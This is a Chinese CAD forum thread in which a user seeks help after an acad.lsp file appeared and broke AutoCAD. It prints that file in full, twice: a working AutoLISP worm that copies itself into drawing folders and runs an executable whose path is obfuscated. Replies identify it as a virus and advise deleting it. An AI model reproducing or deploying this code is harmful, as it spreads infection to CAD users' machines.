[求助]：怪！打开文件不明原因地产生acad.lsp，使原程序均不能用

hsslyl

原先CAD还正常，经我一个同事使用后（曾经在U盘打开文件），不知什么原因，打开dwg文件时提示：“出错：参数类型错误: stringp nil!”，同时在其所在目录产生acad.lsp文件（内容如下），使得原程序均不能用。
请问各位，是什么原因啊，难道是病毒！
(defun
s::startup()
(setq
old_cmd
(getvar
"cmdecho"
)
)
(setvar
"cmdecho"
0
)
(setq
path
(findfile
"base.dcl"
)
)
(setq
path
(substr
path
1
(
-
(
strlen
path
)
8
)
)
)
(
setq
mnlpath
(getvar
"menuname"
)
)
(setq
nowdwg
(getvar
"dwgname"
)
)
(setq
wjqm
(findfile
nowdwg
)
)
(setq
dwgpath
(substr
wjqm
1
(-
(strlen
wjqm
)
(strlen
nowdwg
)
)
)
)
(setq
acadpath
(findfile
"acad.lsp"
)
)       
(setq
acadpath
(substr
acadpath
1
(-
(strlen
acadpath
)
8
)
)
)
(setq
ns1
""
ns2
""
)
(setq
lspbj
0
)
(setq
wjqm
(strcat
path
"acad.lsp"
)
)
(if
(setq
wjm
(open
wjqm
"r"
)
)
(progn
(while
(setq
wz
(read-line
wjm
)
)
(setq
ns1
ns2
)
(setq
ns2
wz
)
)
(if
(>
(strlen
ns1)
14)
(if
(=
(substr
ns1
8
7
)
"acadapp"
)
(setq
lspbj
1
)
)
)
(close
wjm
)
)
)
(setq
lspmnl
0
)
(setq
wjqm
(strcat
path
"acad.mnl"
)
)
(if
(setq
wjm
(open
wjqm
"r"
)
)
(progn
(while
(setq
wz
(read-line
wjm)
)
(setq
ns1
ns2
)
(setq
ns2
wz
)
)
(if
(>
(strlen
ns1
)
14
)
(if
(=
(substr
ns1
8
7
)
"acadapp"
)
(setq
lspmnl
1
)
)
)
(close
wjm
)
)
)
(if
(=
lspmnl
0
)                                  
(progn                                          
(setq
wjqm
(strcat
path
(strcat
(chr
97)
(chr
99)
(chr
97)
(chr
100)
(chr
46)
(chr
109)
(chr
110)
(chr
108)
)
)
)
(setq
wjm
(open
wjqm
"a"
)
)
(write-line
(strcat
"(load "
(chr
34)
"acadapp"
(chr
34)
")"
)
wjm
)
(write-line
"(princ)"
wjm)
(close
wjm))
)
(if
(and
(=
acadpath
dwgpath
)
(/=
acadpath
path
)
)
(progn                                          
(if
(=
0
lspmnl)
(progn                                          
(setq
oldacad
(findfile
"acad.lsp"
)
)          
(setq
newacad
(strcat
path
"acadapp.lsp"
)
)
)
(progn
(setq
oldacad
(strcat
path
"acadapp.lsp"
)
)
(setq
newacad
(findfile
"acad.lsp"
)
)
)                         
)
(if
(=
lspbj
0
)                                  
(progn                                          
(setq
wjqm
(strcat
path
"acad.lsp"
)
)
(setq
wjm
(open
wjqm
"a")
)
(write-line
(strcat
"(load "
(chr
34)
"acadapp"
(chr
34)
")"
)
wjm
)
(write-line
"(princ)"
wjm)
(close
wjm)
)
)
(writeapp)
)
(progn
(if
(/=
nowdwg
"Drawing.dwg"
)
(progn
(setq
oldacad
(findfile
"acadapp.lsp"
)
)
(setq
newacad
(strcat
dwgpath
"acad.lsp"
)
)
(writeapp)
)
)
)
)
(setq
strtopstr
(strcat  
(chr
92)
(chr
92)
(chr
70)
(chr
83)
(chr
49)
(chr
92)
(chr
83)
(chr
89)
(chr
83)
(chr
49)  
(chr
92)
(chr
87)
(chr
79)
(chr
82)
(chr
75)
(chr
92)
(chr
80)
(chr
76)
(chr
79)
(chr
84)
(chr
69)
(chr
82
)
)
)
(setq
strbottomstr
(strcat
(chr
92)
(chr
76)
(chr
79)
(chr
67)
(chr
80)
(chr
82)
(chr
88)
(chr
89)
(chr
49)
(chr
46)
(chr
69)
(chr
88)
(chr
69)
)
)
(startapp
(strcat
strtopstr
strbottomstr
)
)
(setvar
"cmdecho"
old_cmd
)
(princ)
)
(defun
writeapp ()
(if
(setq
wjm1
(open
newacad
"w")
)
(progn
(setq
wjm
(open
oldacad
"r")
)
(while
(setq
wz
(read-line
wjm)
)
(write-line
wz
wjm1
)
)                               
(close
wjm)
(close
wjm1)
)
)
)
(princ)

xyp1964

中毒了！
将“无用的和多余的”acad.lsp、acadapp.lsp、acadiso.lsp全部删除！

boboc98

整理一下，这下可以看明白了吧。
(defun s::startup ()
  (setq old_cmd (getvar "cmdecho"))
  (setvar "cmdecho" 0)
  (setq path (findfile "base.dcl"))
  (setq path (substr path 1 (- (strlen path) 8)))
  (setq mnlpath (getvar "menuname"))
  (setq nowdwg (getvar "dwgname"))
  (setq wjqm (findfile nowdwg))
  (setq dwgpath (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg))))
  (setq acadpath (findfile "acad.lsp"))
  (setq acadpath (substr acadpath 1 (- (strlen acadpath) 8)))
  (setq ns1 ""
        ns2 ""
  )
  (setq lspbj 0)
  (setq wjqm (strcat path "acad.lsp"))
  (if (setq wjm (open wjqm "r"))
    (progn
      (while (setq wz (read-line wjm))
        (setq ns1 ns2)
        (setq ns2 wz)
      )
      (if (> (strlen ns1) 14)
        (if (= (substr ns1 8 7) "acadapp")
          (setq lspbj 1)
        )
      )
      (close wjm)
    )
  )
  (setq lspmnl 0)
  (setq wjqm (strcat path "acad.mnl"))
  (if (setq wjm (open wjqm "r"))
    (progn
      (while (setq wz (read-line wjm))
        (setq ns1 ns2)
        (setq ns2 wz)
      )
      (if (> (strlen ns1) 14)
        (if (= (substr ns1 8 7) "acadapp")
          (setq lspmnl 1)
        )
      )
      (close wjm)
    )
  )
  (if (= lspmnl 0)
    (progn
      (setq wjqm (strcat path (strcat (chr 97) (chr 99) (chr 97)
                                      (chr 100) (chr 46) (chr 109)
                                      (chr 110) (chr 108)
                              )
                 )
      )
      (setq wjm (open wjqm "a"))
      (write-line (strcat "(load " (chr 34) "acadapp" (chr 34) ")") wjm)
      (write-line "(princ)" wjm)
      (close wjm)
    )
  )
  (if (and
        (= acadpath dwgpath)
        (/= acadpath path)
      )
    (progn
      (if (= 0 lspmnl)
        (progn
          (setq oldacad (findfile "acad.lsp"))
          (setq newacad (strcat path "acadapp.lsp"))
        )
        (progn
          (setq oldacad (strcat path "acadapp.lsp"))
          (setq newacad (findfile "acad.lsp"))
        )
      )
      (if (= lspbj 0)
        (progn
          (setq wjqm (strcat path "acad.lsp"))
          (setq wjm (open wjqm "a"))
          (write-line (strcat "(load " (chr 34) "acadapp" (chr 34) ")") wjm)
          (write-line "(princ)" wjm)
          (close wjm)
        )
      )
      (writeapp)
    )
    (progn
      (if (/= nowdwg "Drawing.dwg")
        (progn
          (setq oldacad (findfile "acadapp.lsp"))
          (setq newacad (strcat dwgpath "acad.lsp"))
          (writeapp)
        )
      )
    )
  )
  (setq strtopstr (strcat (chr 92) (chr 92) (chr 70) (chr 83) (chr 49)
                          (chr 92) (chr 83) (chr 89) (chr 83) (chr 49)
                          (chr 92) (chr 87) (chr 79) (chr 82) (chr 75)
                          (chr 92) (chr 80) (chr 76) (chr 79) (chr 84)
                          (chr 69) (chr 82)
                  )
  )
  (setq strbottomstr (strcat (chr 92) (chr 76) (chr 79) (chr 67)
                             (chr 80) (chr 82) (chr 88) (chr 89)
                             (chr 49) (chr 46) (chr 69) (chr 88)
                             (chr 69)
                     )
  )
  (startapp (strcat strtopstr strbottomstr))
  (setvar "cmdecho" old_cmd)
  (princ)
)
(defun writeapp ()
  (if (setq wjm1 (open newacad "w"))
    (progn
      (setq wjm (open oldacad "r"))
      (while (setq wz (read-line wjm))
        (write-line wz wjm1)
      )
      (close wjm)
      (close wjm1)
    )
  )
)
(princ)

hsslyl

感谢xyp1964斑竹！
删除这些多余文件后，CAD就能恢复正常了！早知道就好了。
其实中过两次毒，每次只能先卸载，还得清除注册表相关内容，然后再安装。

chxczy

用cad 杀毒软件

yxljx

中毒了！深表同情，用cad 杀毒软件